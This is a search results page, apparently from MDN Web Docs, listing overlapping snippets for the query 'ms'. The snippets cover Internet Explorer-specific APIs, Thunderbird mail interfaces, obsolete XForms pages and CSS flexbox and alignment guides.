Search completed in 1.10 seconds.
5843 results for "ms":
Your results are loading. Please wait...
MSManipulationEvent.initMSManipulationEvent() - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the initmsmanipulationevent method is used to create a msmanipulationevent that can be called from javascript. this proprietary method is specific to internet explorer. ...
... canbubblearg [in] type: boolean indicates whether the event can bubble. ...
... canbubblearg [in] type: boolean indicates whether the event can bubble. when true the event should propagate upward. ...
...And 5 more matches
MSX Emulator (jsMSX) - Archive of obsolete content
why? the initial motivation was to find some interesting project to develop while exploring the possibilities of the <canvas> tag and javascript language in the most recent web browsers like firefox 2. ...
...why? the initial motivation was to find some interesting project to develop while exploring the possibilities of the <canvas> tag and javascript language in the most recent web browsers like firefox 2. ...
...why? the initial motivation was to find some interesting project to develop while exploring the possibilities of the <canvas> tag and javascript language in the most recent web browsers like firefox 2. ...
...And 4 more matches
Troubleshooting XForms Forms - Archive of obsolete content
it checks your form for a lot of errors. it is not perfect, but it can spot a lot of errors. always check the javascript console (tools, javascript console) for errors. if you get errors there, do not expect your form to work. troubleshooting check the file type is the page parsed as an xhtml document? right-click on a blank spot on the page, and select view page info. ...
...t view page info. the type field should say application/xhtml+xml. anything else, and something is wrong. if your are loading your file directly from the filesystem, make sure that has .xhtml or .xml as the file ending. if you are loading the form from a server, make sure that it serves the files as either application/xhtml+xml or text/xml. check the xhtml 1.0 namespace declaration mozilla xforms is built upon the xhtml 1.0 specification, which is located at http://www.w3.org/1999/xhtml . ensure that your <html> element contains the supported namespace declaration: xmlns="http://www.w3.org/1999/xhtml" (instead of the newer, unratified version, xhtml 2.0, located at http://www.w3.org/2002/06/xhtml2 ) inline instance, no controls get bound have you remembered to use the correct namespac...
...nce('ins2')/value"/> to show the contents of the value element. (specification). repeat and tables not working unfortunately you cannot do: <table> <xf:repeat nodeset="..."> <tr> ... </tr> </xf:repeat> </table> the xhtml modularization does not allow this. you either have to use css tables or repeat attributes, which at the moment are not working properly in the firefox xforms extension :( should be fixed by bug 306247 and bug 280368 respectively. submission not working if you are trying to replace="instance" make sure that the document being returned is xml. there will be an error on the javascript console if it is not. on most webservers you cannot use <submission method="post" action="file.xml"> to a static xml file. you need to use method="get", or <instance ...
...And 2 more matches
XForms - MDN Web Docs Glossary: Definitions of Web-related terms
xforms is a convention for building web forms and processing form data in the xml format. no major browser supports xforms any longer—we suggest using html5 forms instead. ...
... xforms is a convention for building web forms and processing form data in the xml format. no major browser supports xforms any longer—we suggest using html5 forms instead. ...
CMS - MDN Web Docs Glossary: Definitions of Web-related terms
a cms (content management system) is software that allows users to publish, organize, change, or remove various kinds of content, not only text but also embedded images, video, audio, and interactive code. learn more general knowledge content management system on wikipedia ...
nsIMsgDatabase
the nsimsgdatabase interface is an abstract interface used to access the mail database backend. mailnews/db/msgdb/public/nsimsgdatabase.idlscriptable please add a summary to this article. ...
...atabase interface is an abstract interface used to access the mail database backend. mailnews/db/msgdb/public/nsimsgdatabase.idlscriptable please add a summary to this article. ...
...ckend. mailnews/db/msgdb/public/nsimsgdatabase.idlscriptable please add a summary to this article. ...
...And 74 more matches
nsIMsgFolder
the nsimsgfolder interface is used to interact with folders in thunderbird. this page is out of date. check //github.com/realityripple/uxp/blob/master/mailnews/base/public/nsimsgfolder.idl for the newer methods (esp. isspecialfolder and such). ...
... the nsimsgfolder interface is used to interact with folders in thunderbird. this page is out of date. check //github.com/realityripple/uxp/blob/master/mailnews/base/public/nsimsgfolder.idl for the newer methods (esp. isspecialfolder and such). ...
...e is used to interact with folders in thunderbird. this page is out of date. check //github.com/realityripple/uxp/blob/master/mailnews/base/public/nsimsgfolder.idl for the newer methods (esp. isspecialfolder and such). ...
...And 73 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
practical tips for developers and how mozilla does it contents this document is for developers working to support msaa in an application in order to make it accessible with 3rd party assistive technologies, as well as for hackers wishing to be involved in mozilla's msaa support specifically. if you're implementing controls/widgets, you should also see the accessible toolkit checklist. if you're interested in more about gecko's msaa implementation, read gecko info for windows accessibility vendors to learn how msaa clients can utilize gecko's msaa support. intro: what is msaa? msaa is the microsoft active accessibility (msaa) api, used on windows operating systems to support assistive technologies for users with disabilities. third party assistive technology, such as screen rea...
... a special low vision document reading mode, with a variety of features such as ticker mode where text is streamed on a single line. finally, voice dictation software needs to know what's in the current document or ui in order to implement "say what you see" kinds of features. ...
...ocument reading mode, with a variety of features such as ticker mode where text is streamed on a single line. finally, voice dictation software needs to know what's in the current document or ui in order to implement "say what you see" kinds of features. on microsoft windows, these kinds of assistive technology acquire this necessary information via a combination of hacks, msaa and proprietary doms. ...
...And 69 more matches
nsIMsgDBView
the nsimsgdbview interface handles the display of mail in the threadpane and preview pane of thunderbird and other xpcom based mail cients. inherits from: nsisupports implemented by: @mozilla.org/messenger/msgdbview;1. to create an instance, use: var dbview = components.classes[@mozilla.org/messenger/msgdbview;1?type=] .createinstance(components.interfaces.nsimsgdbview); where type designates different types of view's available. available in the mozilla codebase are types "quicksearch", "threadswithunread", "watchedthreadswithunread", "xfvf" (virtual folders), "search", "group", and "threaded" each with their own implementation of nsimsgdbview that provides a different sorting/view of the data. ...
...nterfaces.nsimsgdbview); where type designates different types of view's available. available in the mozilla codebase are types "quicksearch", "threadswithunread", "watchedthreadswithunread", "xfvf" (virtual folders), "search", "group", and "threaded" each with their own implementation of nsimsgdbview that provides a different sorting/view of the data. ...
...; where type designates different types of view's available. available in the mozilla codebase are types "quicksearch", "threadswithunread", "watchedthreadswithunread", "xfvf" (virtual folders), "search", "group", and "threaded" each with their own implementation of nsimsgdbview that provides a different sorting/view of the data. ...
...And 57 more matches
XForms Custom Controls - Archive of obsolete content
since firefox 4, xbl and xul are disabled by default for all pages not loaded from a chrome:// url. this also includes content loaded from file:// urls. it is possible to re-enable this by following the steps on using remote xul. this is required for all examples here to run! purpose you are in the right place if you would like to create your own custom renderings of the xforms controls like input, output, trigger, etc. we will also show you how to create custom controls that work with the xforms model and are automatically updated just like xforms controls. the purpose of this article is to give you enough background information so that you'll be able to get a good start. to really grasp the following information, a good understanding of xforms, xbl, javascript and css is needed. xp...
...et a good start. to really grasp the following information, a good understanding of xforms, xbl, javascript and css is needed. xpcom knowledge will certainly not hurt. but even if you are only comfortable with a couple of these technologies, we hope that the possibilities outlined below will inspire you to learn more where you need to. implementation status the framework we use in the mozilla xforms processor is very much a "work in progress". please keep in mind that just about everything we mention here may change to some degree as we continue to work on it. work has just started in the w3c xforms working group to investigate the custom control issue, so eventually (hopefully?) there will be an "official" and common way to customize your form's user interface across all xforms processors. ...
... work on it. work has just started in the w3c xforms working group to investigate the custom control issue, so eventually (hopefully?) there will be an "official" and common way to customize your form's user interface across all xforms processors. why do you need this you will probably find that your need for customization will fall into one of the following categories: custom presentation - xforms controls as rendered by the mozilla xforms processor do not provide the right look and feel for you. ...
...And 43 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
this glossary provides definitions of words and abbreviations you need to know to successfully understand and build for the web. 2 404 glossary, http errors, infrastructure, navigation a 404 is a standard response code meaning that the server cannot find the requested resource. ...
...nd trips. 5 api codingscripting, glossary, infrastructure an api (application programming interface) is a set of features and rules that exist inside a software program (the application) enabling interaction with it through software - as opposed to a human user interface. the api can be seen as a simple contract (the interface) between the application offering it and other items, such as third party software or hardware. 6 aria accessibility, glossary aria (accessible rich internet applications) is a w3c specification for adding semantics and other metadata to html to cater to users of assistive technology. 7 arpa glossary, infrastructure .arpa (address and routing parameter area) is a top-level domain used for internet infrastru...
...ossary atag (authoring tool accessibility guidelines) is a w3c recommendation for building accessible-authoring tools that produce accessible contents. 10 abstraction abstraction, coding, codingscripting, glossary, programming language abstraction in computer programming is a way to reduce complexity and allow efficient design and implementation in complex software systems. it hides the technical complexity of systems behind simpler apis. 11 accessibility accessibility, glossary web accessibility (a11y) refers to best practices for keeping a website usable despite physical and technical restrictions. web accessibility is formally defined and discussed at the w3c through the web accessibility initiative (wai). 12 accessibility tree (a...
...And 41 more matches
nsIMsgMessageService
objects that implements nsimsgmessageservice give the user top level routines related to messages like copying, displaying, attachment's manipulation, printing, streaming the message content to eml format string, etc. ...
...that implements nsimsgmessageservice give the user top level routines related to messages like copying, displaying, attachment's manipulation, printing, streaming the message content to eml format string, etc. ...
...ents nsimsgmessageservice give the user top level routines related to messages like copying, displaying, attachment's manipulation, printing, streaming the message content to eml format string, etc. ...
...And 38 more matches
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
in this guide we will be exploring the three properties that are applied to flex items, which enable us to control the size and flexibility of the items along the main axis — flex-grow, flex-shrink, and flex-basis. fully understanding how these properties work with growing and shrinking items is the real key to mastering flexbox. a first look our three properties control the following aspects of a flex item's flexibility: flex-grow: how much of the positive free space does this item get? flex-shrink: how much negative free space can be removed from this item? flex-basis: what is the size of the item before growing and shrinking happens? the properties are usually expressed as the shorthand flex property. the following code would set the flex-grow property to 2, flex-shrink to 1 a...
...ill have already had an introduction to the properties. here we will explore them in depth in order that you can fully understand what the browser is doing when you use them. important concepts when working on the main axis there are a few concepts worth digging into before looking at how the flex properties work to control ratios along the main axis. ...
... important concepts when working on the main axis there are a few concepts worth digging into before looking at how the flex properties work to control ratios along the main axis. these relate to the natural size of flex items before any growing or shrinking takes place, and to the concept of free space. flex item sizing in order to work out how much space there is available to lay out flex items, the browser needs to know how big the item is to start with. how is this worked out for items that don’t have a width or a height applied using an absolute length unit? there is a concept in css of min-content and max-content — these keywords are defined in the css intrinsic and extrinsic sizing specification, and can be used in place of a length unit. in the live example below for instanc...
...And 25 more matches
place-items - CSS: Cascading Style Sheets
the css place-items shorthand property allows you to align items along both the block and inline directions at once (i.e. the align-items and justify-items properties) in a relevant layout system such as grid or flexbox. if the second value is not set, the first value is also used for it. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ox. if the second value is not set, the first value is also used for it. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...nd value is not set, the first value is also used for it. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 24 more matches
Handling common HTML and CSS problems - Learn web development
previous overview: cross browser testing next with the scene set, we'll now look specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur. this includes linting code, handling css prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross browser testing. objective: to be able to diagnose common html and css cross browser problems, and use appropriate tools and techniques to fix them. the trouble with html and css ...
...ges; an idea of the high level principles of cross browser testing. objective: to be able to diagnose common html and css cross browser problems, and use appropriate tools and techniques to fix them. the trouble with html and css some of the trouble with html and css lies with the fact that both languages are fairly simple, and often developers don't take them seriously, in terms of making sure the code is well-crafted, efficient, and semantically describes the purpose of the features on the page. in the worst cases, javascript is used to generate the entire web page content and style, which makes your pages inaccessible, and less performant (generating dom elements is expensive). in other cases, nascent features are not supported consistently across browsers, which can m...
...s the purpose of the features on the page. in the worst cases, javascript is used to generate the entire web page content and style, which makes your pages inaccessible, and less performant (generating dom elements is expensive). in other cases, nascent features are not supported consistently across browsers, which can make some features and styles not work for some users. ...
...And 23 more matches
nsMsgSearchAttrib
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchattribvalue; /** * definitions of search attribute types. the numerical order * from here will also be used to determine the order that the * attributes display in the filter editor. ...
... defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchattribvalue; /** * definitions of search attribute types. the numerical order * from here will also be used to determine the order that the * attributes display in the filter editor. ...
... defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchattribvalue; /** * definitions of search attribute types. the numerical order * from here will also be used to determine the order that the * attributes display in the filter editor. ...
...And 22 more matches
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
one of the reasons that flexbox quickly caught the interest of web developers is that it brought proper alignment capabilities to the web for the first time. it enabled proper vertical alignment, so we can at last easily center a box. in this guide, we will take a thorough look at how the alignment and justification properties work in flexbox. to center our box we use the align-items property to align our item on the cross axis, which in this case is the block axis running vertically. we use justify-content to align the item on the main axis, which in this case the inline axis running horizontally. you can take a look at the code of this example below. change the size of the container or nested element and the nested element always remains centered. properties that control alignment ...
...o align the item on the main axis, which in this case the inline axis running horizontally. you can take a look at the code of this example below. change the size of the container or nested element and the nested element always remains centered. properties that control alignment the properties we will look at in this guide are as follows. justify-content — controls alignment of all items on the main axis. align-items — controls alignment of all items on the cross axis. align-self — controls alignment of an individual flex item on the cross axis. align-content — described in the spec as for “packing flex lines”; controls space between flex lines on the cross axis. we will also discover how auto margins can be used for alignment in flexbox. note: the alignment prop...
...x lines”; controls space between flex lines on the cross axis. we will also discover how auto margins can be used for alignment in flexbox. note: the alignment properties in flexbox have been placed into their own specification — css box alignment level 3. it is expected that this spec will ultimately supersede the properties as defined in flexbox level one. the cross axis the align-items and align-self properties control alignment of our flex items on the cross axis, down the columns if flex-direction is row and along the row if flex-direction is column. we are making use of cross-axis alignment in the most simple flex example. if we add display: flex to a container, the child items all become flex items arranged in a row. they will all stretch to be as tall as the tallest item,...
...And 21 more matches
justify-items - CSS: Cascading Style Sheets
the css justify-items property defines the default justify-self for all items of the box, giving them all a default way of justifying each box along the appropriate axis. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the effect of this property is dependent of the layout mode we are in: in block-level layouts, it aligns the items inside their containing block on the inline axis. for absolutely-positioned elements, it aligns the items inside their containing block on the inline axis, accounting for the offset values of top, left, bottom, and right. in table cell layouts, this property is ignored (more about ...
...solutely-positioned elements, it aligns the items inside their containing block on the inline axis, accounting for the offset values of top, left, bottom, and right. ...
...alues of top, left, bottom, and right. ...
...And 21 more matches
Handling common accessibility problems - Learn web development
previous overview: cross browser testing next next we turn our attention to accessibility, providing information on common problems, how to do simple testing, and how to make use of auditing/automation tools for finding accessibility issues. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross browser testing. objective: to be able to diagnose common accessibility problems, and use appropriate tools and techniques to fix them. what is accessibility? when we say accessibility in the context of web technology, most people immediately think of making sure websites/apps are usable by people with disabilities, for example: visually impaired people using screen readers or magnificat...
...t focus styling using css, make sure you replace it with something else that fits in with your design better — it is a very valuable accessiblity tool, and should not be removed. building in keyboard accessibility sometimes it is not possible to avoid losing keyboard accessibility. you might have inherited a site where the semantics are not very good (perhaps you've ended up with a horrible cms that generates buttons made with <div>s), or you are using a complex control that does not have keyboard accessibility built in, like the html5 <video> element (amazingly, opera is the only browser that allows you to tab through the <video> element's default browser controls). you have a few options here: create custom controls using <button> elements (which we can tab to by default!) and java...
...n the button's onclick handler using document.activeelement.onclick(). activeelement gives us the element that is currently focused on the page. note: this technique will only work if you set your original event handlers via event handler properties (e.g. onclick). addeventlistener won't work. this is a lot of extra hassle to build the functionality back in. and there's bound to be other problems with it. better to just use the right element for the right job in the first place. text alternatives text alternatives are very important for accessibility — if a person has a visual or hearing impairment that stops them being able to see or hear some content, then this is a problem. the simplest text alternative available is the humble alt attribute, which we should include on all images t...
...And 20 more matches
nsIMsgIncomingServer
nsimsgincomingserver mailnews/base/public/nsimsgincomingserver.idlscriptable ??? add brief description of interface ??? ...
... nsimsgincomingserver mailnews/base/public/nsimsgincomingserver.idlscriptable ??? add brief description of interface ??? ...
...riptable ??? add brief description of interface ??? ...
...And 20 more matches
align-items - CSS: Cascading Style Sheets
the css align-items property sets the align-self value on all direct children as a group. in flexbox, it controls the alignment of items on the cross axis. in grid layout, it controls the alignment of items on the block axis within their grid area. the interactive example below demonstrates some of the values for align-items using grid layout. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... block axis within their grid area. the interactive example below demonstrates some of the values for align-items using grid layout. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...eir grid area. the interactive example below demonstrates some of the values for align-items using grid layout. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 20 more matches
XForms Accessibility
intoduction this article provides a quick guide to how accessibility is handled in gecko for xforms.. assistive technologies api for xforms is supported starting from firefox 3 (gecko 1.9). implementation of accessible objects for xforms elements is based on top of the existing object hierarchy introduced in the mozilla accessibility module. xforms elements behavior is implemented in accordance with accessible toolkit checklist. in general, when elements are similar to html elements, they are exposed to msaa/atk in a similar way. get build subsections below explain how you can obtain accessible xforms-enabled build. these are either downloading latest build of firefox or building it yourself. downloading builds notion: xforms is no longer distributed with firefox build. you must build...
...ar way. get build subsections below explain how you can obtain accessible xforms-enabled build. these are either downloading latest build of firefox or building it yourself. downloading builds notion: xforms is no longer distributed with firefox build. you must build it yourself. see section below. for firefox, you may directly download the nighly "trunk" build of firefox and install the xforms extension which lives in 'xpi' directory of the build. note, xforms accessibility is implemented only on trunk. trunk builds are not considered stable and should not be installed on top of the firefox used for daily browsing. ...
... build it yourself. see section below. for firefox, you may directly download the nighly "trunk" build of firefox and install the xforms extension which lives in 'xpi' directory of the build. note, xforms accessibility is implemented only on trunk. trunk builds are not considered stable and should not be installed on top of the firefox used for daily browsing. currently we have verified that xforms accessibility is working on the windows platform, and linux testing has not yet been done, although everything should work and is ready to be tested. you will find trunk builds of firefox at ftp.mozilla.org, trunk builds of xforms extension (windows) at ftp.mozilla.org or trunk builds of xforms extension (linux) ftp.mozilla.org. build it yourself if you would like to build firefox/seamonkey you...
...And 19 more matches
MSGestureEvent - Web APIs
the msgestureevent is a proprietary interface specific to internet explorer and microsoft edge which represents events that occur due to touch gestures. events using this interface include msgesturestart, msgestureend, msgesturetap, msgesturehold, msgesturechange, and msinertiastart. msgestureevent derives from uievent, which in turn derives from event. though the msgestureevent.initgestureevent() method is kept for backward compatibility, the creation of an msgestureevent object should be done using the msgestureevent() constructor. constructor msgestureevent() creates an msgestureevent object. properties this interface also inherits properties of its parents, uievent and event. msgestureevent.expansion read only the diameter of the gesture area. for example, the ...
... for backward compatibility, the creation of an msgestureevent object should be done using the msgestureevent() constructor. constructor msgestureevent() creates an msgestureevent object. properties this interface also inherits properties of its parents, uievent and event. msgestureevent.expansion read only the diameter of the gesture area. for example, the distance between fingers. msgestureevent.gestureobject read only returns the msgesture object for this gesture event. msgestureevent.rotation read only amount of rotation (in radians) since the previous msgestureevent of the current gesture. positive values indicate clockwise rotation; negative values indicate anticlockwise rotation. ...
...nly the diameter of the gesture area. for example, the distance between fingers. msgestureevent.gestureobject read only returns the msgesture object for this gesture event. msgestureevent.rotation read only amount of rotation (in radians) since the previous msgestureevent of the current gesture. positive values indicate clockwise rotation; negative values indicate anticlockwise rotation. msgestureevent.scale read only the difference in scale (for zoom gestures) from the previous msgestureevent of the current gesture. ...
...And 18 more matches
Handling common JavaScript problems - Learn web development
previous overview: cross browser testing next now we'll look at common cross-browser javascript problems and how to fix them. this includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern javascript features working in older browsers, and more. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross browser testing. objective: to be able to diagnose common javascript cross-browser problems, and use appropriate tools and techniques to fix them. ...
... prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross browser testing. objective: to be able to diagnose common javascript cross-browser problems, and use appropriate tools and techniques to fix them. ...
...nd netscape) had scripting implemented in different language flavours (netscape had javascript, ie had jscript and also offered vbscript as an option), and while at least javascript and jscript were compatible to some degree (both based on the ecmascript specification), things were often implemented in conflicting, incompatible ways, causing developers many nightmares. such incompatibility problems persisted well into the early 2000s, as old browsers were still being used and still needed supporting. this is one of the main reasons why libraries like jquery came into existence — to abstract away differences in browser implementations (e.g. see the code snippet in how to make an http request) so developers only have to write one simple bit of code (see jquery.ajax()). jquery (or whatever l...
...And 17 more matches
nsIMsgSearchSession
the nsimsgsearchsession interface allows you to create and manipulate search sessions within thunderbird. to create an instance, use: var searchsession = components.classes["@mozilla.org/messenger/searchsession;1"] .createinstance(components.interfaces.nsimsgsearchsession); to use the instance append search terms, set the scope, and then call search(). ...
...u to create and manipulate search sessions within thunderbird. to create an instance, use: var searchsession = components.classes["@mozilla.org/messenger/searchsession;1"] .createinstance(components.interfaces.nsimsgsearchsession); to use the instance append search terms, set the scope, and then call search(). ...
...mponents.interfaces.nsmsgsearchscope.offlinemail, afolder); var searchterm = searchsession.createterm(); var value = searchterm.value; value.str = avalue; searchterm.value = value; searchterm.op = searchsession.booleanor; searchterm.booleanand = false; searchsession.appendterm(searchterm); searchsession.search(null); inherits from: nsisupports method overview void addsearchterm(in nsmsgsearchattribvalue attrib, in nsmsgsearchopvalue op, in nsimsgsearchvalue value, in boolean booleanand, in string arbitraryheader); nsimsgsearchterm createterm(); void appendterm(in nsimsgsearchterm term); void registerlistener(in nsimsgsearchnotify listener); void unregisterlistener(in nsimsgsearchnotify listener); void getnthsearchterm(in long whichte...
...And 16 more matches
nsMsgFolderFlagType
defined in comm-central/ mailnews/ base/ public/ nsmsgfolderflags.idl typedef unsigned long nsmsgfolderflagtype; /// flags about a folder or a newsgroup. [scriptable,uuid(fbe7cba8-3141-4c44-9660-99af6b53f27e)] interface nsmsgfolderflags { /** * @name folder type flags * these flags define the type of folder. exactly one will be set. * @{ */ /// this folder is a newsgroup folder. const nsmsgfolderflagtype newsgroup = 0x00000001; /// this folder is a news server. const nsmsgfolderflagtype newshost = 0x00000002; /// this folder is a mail folder. ...
...9af6b53f27e)] interface nsmsgfolderflags { /** * @name folder type flags * these flags define the type of folder. exactly one will be set. * @{ */ /// this folder is a newsgroup folder. const nsmsgfolderflagtype newsgroup = 0x00000001; /// this folder is a news server. const nsmsgfolderflagtype newshost = 0x00000002; /// this folder is a mail folder. const nsmsgfolderflagtype mail = 0x00000004; /** @} */ /** whether this is a directory: newshosts are always directories; * newsgroups can be directories if we are in ``show all groups'' mode; * mail folders will have this bit if they are really directories, not files. ...
.../// this folder is a mail folder. const nsmsgfolderflagtype mail = 0x00000004; /** @} */ /** whether this is a directory: newshosts are always directories; * newsgroups can be directories if we are in ``show all groups'' mode; * mail folders will have this bit if they are really directories, not files. * (note that directories may have zero children.) */ const nsmsgfolderflagtype directory = 0x00000008; /** whether the children of this folder are currently hidden in the listing. * this will only be present if the nsmsgfolderflags::directory bit is on. ...
...And 16 more matches
nsIMsgThread
the nsimsgfolder interface is used to interact with threads in thunderbird. ...
... the nsimsgfolder interface is used to interact with threads in thunderbird. ...
... the nsimsgfolder interface is used to interact with threads in thunderbird. ...
...And 15 more matches
nsISmsRequestManager
nsismsrequestmanager dom/sms/interfaces/nsismsrequestmanager.idlscriptable used to manage sms related requests and notifications for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsrequestmanager;1. ...
...sismsrequestmanager dom/sms/interfaces/nsismsrequestmanager.idlscriptable used to manage sms related requests and notifications for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsrequestmanager;1. ...
...manager.idlscriptable used to manage sms related requests and notifications for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsrequestmanager;1. ...
...And 15 more matches
nsISmsService
dom/sms/interfaces/nsismsservice.idlscriptable used to send sms text messages for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsservice;1. ...
... dom/sms/interfaces/nsismsservice.idlscriptable used to send sms text messages for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsservice;1. ...
... dom/sms/interfaces/nsismsservice.idlscriptable used to send sms text messages for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsservice;1. ...
...And 14 more matches
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
flexbox was designed as a single dimensional layout, meaning that it deals with laying out items as a row or as a column — but not both at once. there is however the ability to wrap flex items onto new lines, creating new rows if flex-direction is row and new columns if flex-direction is column. in this guide i will explain how this works, what it is designed for and what situations really require css grid layout rather than flexbox. making things wrap the initial value of the flex-wrap property is nowrap. this means that if you have a set of flex items that are too wide for their container, they will overflow it. if you want to cause them to wrap once they become too wide you must add the flex-wrap property with a value of wrap, or use the shorthand flex-flow with values of row wrap or...
...rather than flexbox. making things wrap the initial value of the flex-wrap property is nowrap. this means that if you have a set of flex items that are too wide for their container, they will overflow it. if you want to cause them to wrap once they become too wide you must add the flex-wrap property with a value of wrap, or use the shorthand flex-flow with values of row wrap or column wrap. items will then wrap in the container. in the next example i have ten items all with a flex-basis of 160px and the ability to grow and shrink. ...
...d the flex-wrap property with a value of wrap, or use the shorthand flex-flow with values of row wrap or column wrap. items will then wrap in the container. in the next example i have ten items all with a flex-basis of 160px and the ability to grow and shrink. once the first row gets to a point where there is not enough space to place another 160 pixel item, a new flex line is created for the items and so on until all of the items are placed. as the items can grow, they will expand larger than 160 px in order to fill each row completely. if there is only one item on the final line it will stretch to fill the entire line. ...
...And 14 more matches
Streams API concepts - Web APIs
there are two types of underlying source: push sources constantly push data at you when you’ve accessed them, and it is up to you to start, pause, or cancel access to the stream. ...
... there are two types of underlying source: push sources constantly push data at you when you’ve accessed them, and it is up to you to start, pause, or cancel access to the stream. ...
... there are two types of underlying source: push sources constantly push data at you when you’ve accessed them, and it is up to you to start, pause, or cancel access to the stream. ...
...And 13 more matches
XForms Alert Element - Archive of obsolete content
and used to provide the alert message for the containing form control. type restrictions the alert element can be bound to any simple content. representations can be represented in two ways: modeless window that contains the alert element's message (default representation). ...
... bound to any simple content. representations can be represented in two ways: modeless window that contains the alert element's message (default representation). the alert element's message can also be displayed immediately after the containing form control element in the xforms document's layout. this representation is used if the alert element has an inline display style. ...
...mple content. representations can be represented in two ways: modeless window that contains the alert element's message (default representation). the alert element's message can also be displayed immediately after the containing form control element in the xforms document's layout. this representation is used if the alert element has an inline display style. ...
...And 12 more matches
MenuItems - Archive of obsolete content
unlike the access key, which only functions while the menu is open, a shortcut key works at any time. a shortcut key can be created using the key element. in reality, the keyboard shortcut is handled by the key element, however, the menu item will display the shortcut next to its label. this allows the user to discover what shortcut keys are available by looking at the menus. ...
...ws the user to discover what shortcut keys are available by looking at the menus. <keyset> <key id="open-key" modifiers="accel" key="o"/> <key id="close-key" modifiers="accel" key="c"/> </keyset> <menubar> <menu label="view"> <menupopup> <menuitem label="open" key="open-key"/> <menuitem label="close" key="close-key"/> </menupopup> </menu> </menubar> the two menuitems are associated with a key using the key attribute. it should be set to the id of a key element within the same document. the result is that the items will display the shortcut key next to their labels. for the "open" item in this example, this command can be invoked by using the "accel" modifier key and pressing 'o'. the "accel" modifier key varies on each platform, but is the key typically used ...
... set a custom label for the keyboard shortcut on the menu using the acceltext attribute. you might do this if the key associated with the item changes, for instance a list of open windows displayed on a window menu. <menuitem label="first window" acceltext="1"/> here the keyboard shortcut label will be '1', however you will need to write code to handle the key as well. adding icons to menu items an icon may be added to a menu item using the image attribute. the icon will appear to the left of the menuitem label. in addition to the image, a special class "menuitem-iconic" must be used on the menuitem to indicate that an icon is expected. <menuitem id="add-bookmark" class="menuitem-iconic" label="add bookmark" image="addbookmark.png"/> as the image appears on a menu item, you will want...
...And 11 more matches
-ms-filter - Archive of obsolete content
the -ms-filter css property is a microsoft extension that sets or retrieves the filter or collection of filters applied to an object. warning: not to be confused with the standard filter property, as the two are fundamentally incompatible with each other. important: as of windows internet explorer 9 this feature was deprecated. as of internet explorer 10 this feature was removed and should no longer be used. ...
... microsoft extension that sets or retrieves the filter or collection of filters applied to an object. warning: not to be confused with the standard filter property, as the two are fundamentally incompatible with each other. important: as of windows internet explorer 9 this feature was deprecated. as of internet explorer 10 this feature was removed and should no longer be used. ...
...lied to an object. warning: not to be confused with the standard filter property, as the two are fundamentally incompatible with each other. important: as of windows internet explorer 9 this feature was deprecated. as of internet explorer 10 this feature was removed and should no longer be used. ...
...And 11 more matches
nsIMsgSearchTerm
*/ attribute acstring hdrproperty; customid /// identifier for a custom id used for this term, if any. ...
... */ attribute acstring hdrproperty; customid /// identifier for a custom id used for this term, if any. ...
... */ attribute acstring hdrproperty; customid /// identifier for a custom id used for this term, if any. ...
...And 11 more matches
Ordering Flex Items - CSS: Cascading Style Sheets
new layout methods such as flexbox and grid bring with them the possibility of controlling the order of content. in this article we will take a look at ways in which you can change the visual order of your content when using flexbox. we will also consider the implications of reordering items from an accessibility point of view. reverse the display of the items the flex-direction property can take one of four values: row column row-reverse column-reverse the first two values ​​keep the items in the same order that they appear in the document source order and display them sequentially from the start line. the second two values ​​reverse the items by switching the start and end lines. remember that the start line relates to writing modes. the row-related examples ab...
